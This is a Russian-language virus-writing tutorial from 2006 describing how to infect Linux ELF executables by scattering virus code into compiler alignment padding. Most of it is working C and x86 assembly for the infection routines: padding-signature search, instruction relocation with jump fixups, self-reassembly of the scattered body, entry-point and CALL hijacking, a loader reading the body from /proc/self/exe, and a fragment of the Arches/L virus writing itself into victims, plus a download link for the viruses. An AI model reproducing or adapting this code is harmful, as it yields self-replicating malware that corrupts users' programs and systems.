herm1t
Август 2006
Не так давно я прочитал две статьи посвященные довольно занятному методу заражения ELF-файлов [1,2], о котором мы с вами и поговорим. Удивительно, но инструменты представленные Z0mbie и Ares предназначены для внедрения троянов, а вирусов, использующих эту технологию я пока не видел, хотя может быть, не очень-то внимательно смотрел. Ж-) Метод необычен и имеет, как преимущества, так и недостатки, но давайте обо всем по порядку.
Для увеличения производительности кода компилятор выравнивает функции, циклы, обращения к данным и стеку на границу кратную степеням двойки. Опции выраниваня gcc можно посмотреть `cc1 --help`, нас же интересует то, как все это выглядит в коде. Посмотрим:
805cb99: 89 0d 10 0e 0e 08 mov %ecx,0x80e0e10 805cb9f: 89 ec mov %ebp,%esp 805cba1: 5d pop %ebp ; здесь закончилась 805cba2: c3 ret ; одна функция 805cba3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ; *выравнивание* 805cba9: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi ; *выравнивание* 805cbb0: 55 push %ebp ; здесь началась следующая 805cbb1: 89 e5 mov %esp,%ebp
Целых тринадцать байт только в одной функции! Именно в эти островки свободного места мы и будем писать наш код. Заражать файл будем следующим образом:
Что получится в результате? Вот так выглядит вирусный загрузчик вставленный в bash:
805c1f3: 60 pusha 805c1f4: 68 78 65 00 00 push $0x6578 805c1f9: e9 25 03 00 00 jmp 805c523 ---+ ....... .............. .................. | 805c523: 68 6c 66 2f 65 push $0x652f666c <--+ 805c528: e9 1b 02 00 00 jmp 805c748 ---+ ....... .............. .................. | 805c748: e9 c6 00 00 00 jmp 805c813 <==| 805c74d: 90 nop | 805c74e: 90 nop | 805c74f: 90 nop | ....... .............. .................. | 805c813: 68 63 2f 73 65 push $0x65732f63 <--+ 805c818: e9 06 03 00 00 jmp 805cb23 ---+ ....... .............. .................. | 805cb23: 68 2f 70 72 6f push $0x6f72702f <--+ 805cb28: 6a 05 push $0x5 805cb2a: 58 pop %eax 805cb2b: e9 73 00 00 00 jmp 805cba3 ---+ | ....... .............. .................. ....... .............. .................. 8060708: e9 47 01 00 00 jmp 8060854 ---+ 806070d: 90 nop | 806070e: 90 nop | 806070f: 90 nop | ....... .............. .................. | 8060854: 68 10 b5 05 08 push $0x805b510 <--+ 8060859: c3 ret Новая точка входа: 0x805c1f3 Старая точка входа: 0x805b510
Рассмотрим каждый шаг по отдельности.
Для начала достанем из binutils (файл gas/config/tc-i386.c) список инструкций используемых для выравнивания:
{0x90}; /* nop */ {0x89,0xf6}; /* movl %esi,%esi */ {0x8d,0x76,0x00}; /* leal 0(%esi),%esi */ {0x8d,0x74,0x26,0x00}; /* leal 0(%esi,1),%esi */ {0x90, /* nop */ 0x8d,0x74,0x26,0x00}; /* leal 0(%esi,1),%esi */ {0x8d,0xb6,0x00,0x00,0x00,0x00}; /* leal 0L(%esi),%esi */ {0x8d,0xb4,0x26,0x00,0x00,0x00,0x00}; /* leal 0L(%esi,1),%esi */ {0x90, /* nop */ 0x8d,0xb4,0x26,0x00,0x00,0x00,0x00}; /* leal 0L(%esi,1),%esi */ {0x89,0xf6, /* movl %esi,%esi */ 0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */ {0x8d,0x76,0x00, /* leal 0(%esi),%esi */ 0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */ {0x8d,0x74,0x26,0x00, /* leal 0(%esi,1),%esi */ 0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */ {0x8d,0xb6,0x00,0x00,0x00,0x00, /* leal 0L(%esi),%esi */ 0x8d,0xbf,0x00,0x00,0x00,0x00}; /* leal 0L(%edi),%edi */ {0x8d,0xb6,0x00,0x00,0x00,0x00, /* leal 0L(%esi),%esi */ 0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */ {0x8d,0xb4,0x26,0x00,0x00,0x00,0x00, /* leal 0L(%esi,1),%esi */ 0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */ {0xeb,0x0d,0x90,0x90,0x90,0x90,0x90, /* jmp .+15; lotsa nops */ 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};
Искать эти сигнатуры будем при помощи их контрольной суммы и длины, это сократит размер таблицы. Для того, чтобы снизить количество ложных совпадений мы установим следующие ограничения:
В Infelf используется более сложный алгоритм поиска, но и наш метод дает неплохой результат, а памяти и времени требует меньше.
Для того, чтобы выполнялось условие 3 будем использовать дизассемблер длин, например mlde32 от uNdErX. Найденые островки сохраним в односвязном списке отсортированом по смещениям:
typedef struct _island island_t; struct __attribute__((packed)) _island { uint32_t offset; /* смещение */ uint32_t length; /* длина */ island_t *next; /* следующий элемент списка */ };
Сигнатуры будем хранить в массиве patterns:
struct { int length; /* длина */ /* смещение внутри участка найденного по сигнатуре, начиная с которого можно размещать свой код (1) */ int shift; uint32_t crc32; /* контрольная сумма */ } patterns[] = { {15, 1,0x11d50a7f}, {14, 1,0xe4ad564a}, {15, 2,0xd5cae9dc}, // EB 0D 90 90 ... {13, 1,0xd6b6dcfd}, {12, 1,0x19fbc1f4}, {11, 1,0x34a6685b}, {10, 1,0x74d8dd25}, {9, 1,0x6ed89f27}, {8, 1,0xb7109f48}, {7, 1,0x5d30a0da}, // C3 8D B6 00 00 00 00 };
(1) patterns.shift нам необходим, для того, чтобы соблюсти четвертое условие. Первые байты сигнатур либо C3 (RET), либо EB 0D (jmp .+15), которые мы не должны затирать. Поэтому для того, чтобы получить смещение и размер свободного участка добавим shift к смещению и вычтем из длины.
Вот код процедуры поиска на Си:
island_t *islands = NULL, *p, *tail; unsigned char *ptr = m + text_offset; int op_len; while (ptr < m + text_offset + text_size) { for (i = 0; i < 10; i++) if (crc32(ptr, patterns[i].length) == patterns[i].crc32) { p = (island_t*)malloc(sizeof(island_t)); p->offset = (uint32_t)(ptr + patterns[i].shift); p->length = patterns[i].length - patterns[i].shift; p->next = NULL; if (islands == NULL) islands = p; else tail->next = p; tail = p; ptr += patterns[i].length; continue; } if ((op_len = mlde32(ptr)) <= 0) { fprintf(stderr, "Illegal instruction!\n"); return 2; } ptr += op_len; }
Для того, чтобы выполнялось наше первое условие нам необходимо знать смещение секциии .text в файле, ее размер и адрес. Просмотрим заголовки файла. Поле e_shstrndx в заголовке ELF-файла содержит индекс секции таблицы строк в таблице секций, а e_shnum - количество секций. Нас интересуют следующие поля элементов таблицы секций:
Код на Си для поиска секции .text:
// m - указатель на отображение файла в памяти Elf32_Ehdr *ehdr = (Elf32_Ehdr*)m; Elf32_Shdr *shdr = (Elf32_Shdr*)(m + ehdr->e_shoff), *s; uint32_t strtab, text_addr, text_size, text_offset = 0; char *name; int i; // проверим есть ли в файле таблица строк if (ehdr->e_shstrndx != SHN_UNDEF) { // получим смещение таблицы строк strtab = shdr[ehdr->e_shstrndx].sh_offset; // просмотрим все заголовки секций for (i = 0, s = shdr; i < ehdr->e_shnum; i++, s++) { name = m + strtab + s->sh_name; // ищем секцию с именем .text if (!strncmp(name, ".text", 5)) { text_addr = s->sh_addr; text_size = s->sh_size; text_offset = s->sh_offset; break; } } }
Полный код утилиты fpstat, которая выводит статистику по найденым свободным островкам в файле находится в приложении к статье.
Предположим, что все инструкции вируса уже сохранены в списке стуктур code, следующего вида:
typedef struct _code code_t; struct __attribute__((packed)) _code { uint8_t *src; /* адрес в памяти */ uint8_t *dst; /* адрес в жертве */ uint32_t len; /* длина инструкции */ uint8_t *jmpto; /* адрес перехода для CALL/JMP/JCC или 0 */ code_t *next; /* следующая структура в списке */ };
И нам остается только вставить как можно больше команд в каждый островок, заполнить поле "dst" структур "code_t", связать островки джампами и исправить адреса переходов. Приступим:
island_t *i;
code_t *c;
int n, l;
for (i = islands, l = 0, c = code; c != NULL; )
// есть ли в текущем островке место для этой команды
// (с учетом jmp near в конце островка)?
if (l + c->len <= (i->length - 5)) {
// сохраним адрес
c->dst = i->offset + l;
// скопируем команду
memcpy(c->dst, c->src, c->len);
// увеличим счетчик использованного места для
// текущего островка
l += c->len;
// перейдем к следующей команде
c = c->next;
} else {
// ... нет, места больше нет
// забьем оставшуюся часть NOP'ами
for (n = l; n < i->length; n++)
*(uint8_t*)(i->offset + n) = 0x90;
// если у нас есть еще островки, допишем jmp near
// на следующий островок
if (i->next != NULL) {
*((uint8_t *)(i->offset + l)) = 0xe9;
*((uint32_t*)(i->offset + l + 1)) = i->next->offset - i->offset - l - 5;
} else
// места не осталось совсем, этот файл мы не заразим...
exit(2);
// попытаемся записать эту же команду
// в следующий остовок
i = i->next;
l = 0;
}
Исправляем адреса переходов:
for (c = code; c != NULL; c = c->next) // для каждой команды с ненулевым адресом перехода (jmp/call/jcc) if (c->jmpto != 0) { // найдем команду с этим адресом for (d = code; d != NULL; d = d->next) if (c->jmpto == d->src) { // исправим адрес в файле *((uint32_t*)(c->dst + c->len - 4)) = d->dst - c->dst - c->len; break; } // не нашли Ж-( в программе переход неизвестно куда // непременно вызовет ошибку. лучше прервемся пока не поздно... if (d == NULL) exit(2); }
Вот мы и подошли к последней и наиболее заебистой части технологии: один файл мы уже заразили и для того, чтобы заразить следующий нам ннеобходимо найти свой собственный код раскиданный по всему файлу, собрать его и убрать из него переходы-связки. Для этого нам понадобится дизассемблер длин, точка входа в вирус (с нее мы начнем дизассемблирование) и метка в конце вируса обозначающая, что пора остановиться. Для определения собственной точки входа мы не можем воспользоваться традиционной вирусной мантрой:
virus_start: pusha ... call delta delta: pop ebp sub ebp, (delta - virus_start)
Потому что все три команды (не говоря уж о предыдущих) могут оказаться в сотнях байт друг от друга, поэтому собственную точку входа будем записывать в тело вируса на этапе заражения. Чтобы определить куда именно, выберем команду, которая гарантированно не встретиться в нашем коде, например "mov esp, ?", вот так:
mov eax, esp ; сохраним esp mov esp, virus_start ; сюда будет записана ; новая точка входа mov [ebp + virus_entry], esp ; сохраним в переменной mov esp, eax ; востановим esp
А инструкция HLT послужит сигналом дизассемблеру, что вирус кончился и пора вернуть результат. Есть еще одна похожая проблема: По окончанию работы вирус должен вернуть управление в зараженную программу, если для этого используется команда "jmp near" мы должны, как-то отличить ее от остальных, чтобы дизассемблер, не перешел по ней к основной программе. Можно, к примеру, этот JMP расположить непосредственно перед HLT и добавить соответствующую проверку. А можно вообще использовать не JMP, а PUSH addr/RET (этот вариант мы тоже рассмотрим).
code_t *code = NULL, *code_ret = NULL, code_vep = NULL; void reassemble(uint8_t *ptr) { code_t *c, *q; int op_len; for (;;) { // HLT if (*ptr == 0xf4) return; // команда с таким смещением уже в списке? for (c = code; c != NULL; c = c->next) if (c->src == ptr) return; // получим длину op_len = mlde32(ptr); // неправильный опкод if (op_len <= 0) return; // заполняем новый элемент списка c = (code_t*)malloc(sizeof(code_t)); c->src = ptr; c->jmpto = 0; c->len = op_len; c->next = NULL; // сортировка вставкой по возрастанию адресов if (code == NULL || c->src < code->src) { c->next = code; code = c; } else { q = code; while (q->next != NULL && q->next->src < c->src) q = q->next; c->next = q->next; q->next = c; } // RET/RETN ? if (*ptr == 0xc3 || *ptr == 0xc2) return; // запомним указатель на этот элемент, потом запишем // в аргумент команды новую точку входа // MOV ESP, ? if (*ptr == 0xbc) code_vep = c; // CALL/JMP/Jcc ? if (*ptr == 0xe8 || *ptr == 0xe9 || (*ptr == 0x0f && (*(ptr + 1) & 0xf0) == 0x80)) { // вычисляем адрес перехода c->jmpto = ptr + op_len + *((uint32_t*)(ptr + op_len - 4)); // jmp? if (*ptr == 0xe9) { // если следом идет HLT, то это "jmp old_entry_point" // запомним адрес этого элемента и увеличим длину, // чтобы hlt скопировался вместе с jmp'ом в один блок if (*(ptr + 5) == 0xf4) { code_ret = c; c->jmpto = 0; c->len++; } else { // перейдем к вычисленному адресу ptr = c->jmpto; continue; } } else { // CALL/JCC // вызовем себя рекурсивно. выход из рекурсии либо // по RET, либо наткнемся на ранее дизассемблированную // команду, либо дойдем до конца вируса reassemble(c->jmpto); } } // перейдем к следующей команде ptr += op_len; } } reassemble(virus_entry);
Код вируса не должен содержать команд JMP/Jcc SHORT,LOOP,LOOPxx,JCXZ. Весьма вероятно, что при вставке адреса перехода для этих команд выйдут за диапазон +-128 байт. Мы конечно можем заменить вышеперечисленные команды их NEAR эквивалентами во время исполнения, но подобные замены имеют смысл только в том случае, если мы намерены не только разворрачивать "короткие" команды в "длинные", но и наооборот (иначе код производящий замены выполнится один раз и более нам не потребуется). Для многопроходной же оптимизации кода у нас просто недостаточно ресурсов.
Теперь уберем из реконструированного кода переходы-связки. Так как список отсортирован, достаточно проверить не указывает ли jmp на следующую команду в списке, если да, то его можно удалять. Вот так:
for (prev = code, c = code->next; c->next != NULL; c = c->next) if (c->src[0] != 0xe9 || c->jmpto != c->next->src) { prev->next = c; prev = c; } prev->next = c;
Сделать осталось совсем немного, сохранить нужные адреса в теле вируса и исправить заголовк ELF-файла, чтобы точка входа указывала на начало вируса. Проделаем все необходимые вычисления:
#define DST2VADDR(x) (x - m - text_offset + text_addr) // code - это первая команда вируса, code->dst - новая точка входа // сохраним ее в теле вируса (для дизассемблера) // указатель на "mov esp, " (code_vep) // мы запомнили на этапе дизассемблирования *((uint32_t*)(code_vep->dst + 1)) = DST2VADDR(code->dst); // запишем аргумент jmp для перехода на старую точку входа // указатель на команду перехода (code_ret) // мы запомнили на этапе дизассемблирования *((uint32_t*)(code_ret->dst + 1)) = ehdr->e_entry - DST2VADDR(code_ret->dst) - 5; ehdr->e_entry = DST2VADDR(code->dst);
К вышеописанной процедуре заражения очень легко приделать EPO (скрытие точки входа), для этого, в функции поиска свободного места (все равно ведь мы просматриваем файл, так от чего бы заодно не найти инструкцию, к которой можно прицепиться?) добавим следующий фрагмент:
uint8_t *firstcall = NULL; //... if (firstcall == 0 && *ptr == 0xe8) firstacall = ptr; for (i = 0; i < 10; i++) //...
И переделаем заключительную часть (описанную в предыдущей главе) следующим образом:
// не нашли ни одного CALL if (firstcall == NULL) exit(2); // вычисляем и сохраняем в code_ret адрес, на который указывал CALL *((uint32_t*)(code_ret->dst + 1)) = DST2VADDR(firstcall) + *((uint32_t*)(firstcall + 1)) - DST2VADDR(code_ret->dst); // исправим CALL так, чтобы он указывал на нас *((uint32_t*)(firstcall + 1)) = DST2VADDR(code->dst) - DST2VADDR(firstcall) - 5;
Все. Точку входа не трогаем. Естественно, это может быть не первый CALL, и не CALL, а к примеру JMP, и не JMP, а что вообще в голову придет. Но это - на ваше усмотрение.
Посмотрим fpstat'ом сколько же места доступно в "типичном" ELF-файле:
$ for i in /bin/*;do ./fpstat $i;done| > awk 'BEGIN{a=0;c=0}/^Total/{if($2>0){c++;a+=$2}}END{print a,c,a/c}' 35740 84 425,476
С /usr/bin дела обстоят немного лучше, но ненамного:
590556 1368 431,693
То есть, нашему вирусу честные программы готовы пожертвовать в среднем по 430 байт. Вирус конечно можно оптимизировать, но не настолько же. Можно ограничиться заражением только больших файлов таких, как bash, vim или php, а можно внедрять в файл загрузчик, а само тело вируса расположить в конце файла, как это предложено в [2]. Загрузчик должен:
Вот так:
_start: pusha ; h = open ("/proc/self/exe", O_RDONLY); push dword 0x00006578 push dword 0x652f666c push dword 0x65732f63 push dword 0x6f72702f movb eax, SYS_open mov ebx, esp movb ecx, 0 int 0x80 add esp, byte 16 or eax,eax js near exit xchg eax,ebx ; l = lseek (h, 0, 2); movb eax, SYS_lseek movb ecx, 0 movb edx, 2 int 0x80 or eax, eax js near exit ; l -= VIRUS_SIZE; sub eax, VIRUS_SIZE ; a = mmap(NULL,VIRUS_SIZE,PROT_READ|PROT_EXEC,MAP_PRIVATE,h,l); mpush eax, ebx, MAP_PRIVATE, PROT_READ|PROT_EXEC,VIRUS_SIZE,0 mov ebx, esp movb eax, SYS_mmap int 0x80 add esp, byte 24 cmp eax, 0xfffff000 ja near exit lea ebx, [eax + (run - _start)] ; на эту команду наш дизассемблер внимания не обратит (что к лучшему) jmp ebx ; на выход. там дизассемблер остановится jmp near exit run: ; сохраним точку входа в вирус для дизассемблера (а можем отображать ; файл по фиксированному адресу и тогда, нужно просто заменить ; переменную self, на выбранный адрес) push eax ... pop edx mov self, edx push edx call reassemble ... exit: popa ; здесь, как и было обещано используем PUSH/RET для возврата ; в основную программу. HLT не нужен, дизассемблер выйдет по RET. db 0x68 __code_ret: dd fake_host ret
Кстати, обработка HLT и запись точки входа в тело вируса нам тоже теперь не понадобятся и эти фрагменты можно убрать:
//... if (*ptr == 0xf4) return; //... if (*ptr == 0xbc) code_vep = c; //... if (*(ptr + 5) == 0xf4) { code_ret = c; c->len++; } //...
Теперь посмотрим, какие изменения необходимо проделать в самом вирусе:
Фрагмент вируса Arches/L:
; увеличим длину файла, чтобы она стала кратна размеру страницы movb eax, SYS_ftruncate mov ebx, file_handle mov ecx, file_length add ecx, 4095 and ecx, 0xfffff000 mov edi, ecx int 0x80 or eax, eax jnz near unmap ; передвинем указатель в конец movb eax, SYS_lseek movb edx, 0 ;SEEK_SET int 0x80 cmp eax, ecx jne near unmap ; запишем тело вируса movb eax, SYS_write mov ecx, self mov edx, VIRUS_SIZE int 0x80 cmp eax, edx jne near unmap ; передвинем указатель на аргумент команды PUSH movb eax, SYS_lseek mov ecx, -VIRUS_SIZE + (__code_ret - _start) movb edx, 1 ; SEEK_CUR int 0x80 ; запишем старую точку входа mov esi, file_map mov edx, [esi + e_entry] push edx mov eax, SYS_write mov ebx, file_handle mov ecx, esp movb edx, 4 int 0x80 add esp, edx cmp edx, eax jne near unmap ; посчитаем новую точку входа mov eax, code mov eax, [eax + code_dst] sub eax, esi sub eax, text_offset add eax, text_addr ; исправим точку входа в заголовке ELF-файла mov [esi + e_entry], eax
Вот собственно и все, любые комментарии приветствуются. herm1t@vx.netlux.org
Скачать вирусы Arches,Arches/L и утилиты
S1